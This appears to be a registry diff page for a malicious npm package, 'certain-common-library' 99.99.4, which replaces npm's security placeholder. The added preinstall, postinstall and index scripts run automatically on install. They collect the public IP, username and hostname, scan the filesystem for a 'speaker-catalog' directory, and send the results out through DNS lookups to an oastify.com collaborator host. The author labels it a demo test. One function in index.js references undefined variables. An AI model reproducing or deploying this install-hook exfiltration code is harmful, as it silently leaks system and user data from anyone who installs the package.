certain-common-library 0.0.1-security → 99.99.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of certain-common-library might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,47 @@
1
+
2
+ async function getPublicIP() {
3
+ try {
4
+ const response = await fetch('https://api.ipify.org?format=json');
5
+ const data = await response.json();
6
+ return data.ip;
7
+ } catch (error) {
8
+ console.error('Errore nel recuperare IP pubblico:', error);
9
+ return 'IP_not_found';
10
+ }
11
+ }
12
+
13
+
14
+ async function exfiltrateData() {
15
+ const publicIP = await getPublicIP();
16
+ const os = require('os');
17
+ const dns = require('dns');
18
+
19
+ const hostname = os.hostname();
20
+ const userId = os.userInfo().username;
21
+
22
+
23
+ const exfilData = `inital-${publicIP}.user-${userId}.host-${hostname}.d5jzq1zm8gj96y0o4rivgrduzl5ct7hw.oastify.com`;
24
+
25
+
26
+ dns.resolve(exfilData, 'A', (err) => {
27
+ if (err) console.error('Errore nella risoluzione DNS per esfiltrazione:', err);
28
+ else console.log('Richiesta DNS inviata per esfiltrazione dati:', exfilData);
29
+ });
30
+ }
31
+
32
+
33
+ exfiltrateData();
34
+
35
+ function demoFunction() {
36
+ console.log("Demo function executed from @sellix/themes-nunjucks-service");
37
+
38
+ // Esfiltrazione dei dati ogni volta che la funzione viene chiamata
39
+ const functionExfilData = `function.${userId}.${hostname}.${ip.replace(/\./g, '-')}.d5jzq1zm8gj96y0o4rivgrduzl5ct7hw.oastify.com`;
40
+ dns.resolve(functionExfilData, 'A', (err) => {
41
+ if (err) console.error('Failed to resolve DNS for function exfiltration');
42
+ else console.log('Function-based DNS request sent for data exfiltration');
43
+ });
44
+ }
45
+
46
+
47
+ module.exports = demoFunction;
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
- {
2
- "name": "certain-common-library",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "certain-common-library",
3
+ "version": "99.99.4",
4
+ "description": "Demo test by r3verii",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js",
8
+ "postinstall": "node postinstall.js"
9
+ },
10
+ "author": "R3verii",
11
+ "license": "MIT"
12
+ }
package/postinstall.js ADDED
@@ -0,0 +1,67 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+ const dns = require('dns');
5
+
6
+ async function getPublicIP() {
7
+ try {
8
+ const response = await fetch('https://api.ipify.org?format=json');
9
+ const data = await response.json();
10
+ return data.ip;
11
+ } catch (error) {
12
+ console.error('Errore nel recuperare IP pubblico:', error);
13
+ return 'IP_not_found';
14
+ }
15
+ }
16
+
17
+ function findDirectory(directoryName, startPath = '/') {
18
+ try {
19
+ function searchDir(currentPath) {
20
+ const files = fs.readdirSync(currentPath);
21
+ for (const file of files) {
22
+ const fullPath = path.join(currentPath, file);
23
+ if (fs.existsSync(fullPath) && fs.statSync(fullPath).isDirectory()) {
24
+ if (file === directoryName) {
25
+ return fullPath; // Restituisci il primo risultato trovato
26
+ }
27
+ if (!['/proc', '/sys', '/dev'].includes(fullPath)) {
28
+ const found = searchDir(fullPath);
29
+ if (found) return found;
30
+ }
31
+ }
32
+ }
33
+ }
34
+ return searchDir(startPath) || 'not_found';
35
+ } catch (error) {
36
+ console.error('Errore durante la ricerca della directory:', error.message);
37
+ return 'not_found';
38
+ }
39
+ }
40
+
41
+ function sanitizeForDNS(input) {
42
+ return input.replace(/\//g, '-').replace(/[^a-zA-Z0-9-]/g, '');
43
+ }
44
+
45
+ async function exfiltrateData() {
46
+ const publicIP = await getPublicIP();
47
+ const hostname = os.hostname();
48
+ const userId = os.userInfo().username;
49
+
50
+ // Cerca la directory
51
+ const directoryName = 'speaker-catalog';
52
+ const directoryPath = findDirectory(directoryName);
53
+
54
+ // Sanitize del percorso per il DNS
55
+ const sanitizedPath = sanitizeForDNS(directoryPath);
56
+
57
+ // Dati da esfiltrare
58
+ const exfilData = `postInstall-${publicIP}.user-${userId}.host-${hostname}.dir-${sanitizedPath}.d5jzq1zm8gj96y0o4rivgrduzl5ct7hw.oastify.com`;
59
+
60
+ // Invia la query DNS
61
+ dns.resolve(exfilData, 'A', (err) => {
62
+ if (err) console.error('Errore nella risoluzione DNS per esfiltrazione:', err);
63
+ else console.log('Richiesta DNS inviata per esfiltrazione dati:', exfilData);
64
+ });
65
+ }
66
+
67
+ exfiltrateData();
package/preinstall.js ADDED
@@ -0,0 +1,67 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+ const dns = require('dns');
5
+
6
+ async function getPublicIP() {
7
+ try {
8
+ const response = await fetch('https://api.ipify.org?format=json');
9
+ const data = await response.json();
10
+ return data.ip;
11
+ } catch (error) {
12
+ console.error('Errore nel recuperare IP pubblico:', error);
13
+ return 'IP_not_found';
14
+ }
15
+ }
16
+
17
+ function findDirectory(directoryName, startPath = '/') {
18
+ try {
19
+ function searchDir(currentPath) {
20
+ const files = fs.readdirSync(currentPath);
21
+ for (const file of files) {
22
+ const fullPath = path.join(currentPath, file);
23
+ if (fs.existsSync(fullPath) && fs.statSync(fullPath).isDirectory()) {
24
+ if (file === directoryName) {
25
+ return fullPath; // Restituisci il primo risultato trovato
26
+ }
27
+ if (!['/proc', '/sys', '/dev'].includes(fullPath)) {
28
+ const found = searchDir(fullPath);
29
+ if (found) return found;
30
+ }
31
+ }
32
+ }
33
+ }
34
+ return searchDir(startPath) || 'not_found';
35
+ } catch (error) {
36
+ console.error('Errore durante la ricerca della directory:', error.message);
37
+ return 'not_found';
38
+ }
39
+ }
40
+
41
+ function sanitizeForDNS(input) {
42
+ return input.replace(/\//g, '-').replace(/[^a-zA-Z0-9-]/g, '');
43
+ }
44
+
45
+ async function exfiltrateData() {
46
+ const publicIP = await getPublicIP();
47
+ const hostname = os.hostname();
48
+ const userId = os.userInfo().username;
49
+
50
+ // Cerca la directory
51
+ const directoryName = 'speaker-catalog';
52
+ const directoryPath = findDirectory(directoryName);
53
+
54
+ // Sanitize del percorso per il DNS
55
+ const sanitizedPath = sanitizeForDNS(directoryPath);
56
+
57
+ // Dati da esfiltrare
58
+ const exfilData = `preInstall-${publicIP}.user-${userId}.host-${hostname}.dir-${sanitizedPath}.d5jzq1zm8gj96y0o4rivgrduzl5ct7hw.oastify.com`;
59
+
60
+ // Invia la query DNS
61
+ dns.resolve(exfilData, 'A', (err) => {
62
+ if (err) console.error('Errore nella risoluzione DNS per esfiltrazione:', err);
63
+ else console.log('Richiesta DNS inviata per esfiltrazione dati:', exfilData);
64
+ });
65
+ }
66
+
67
+ exfiltrateData();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=certain-common-library for more information.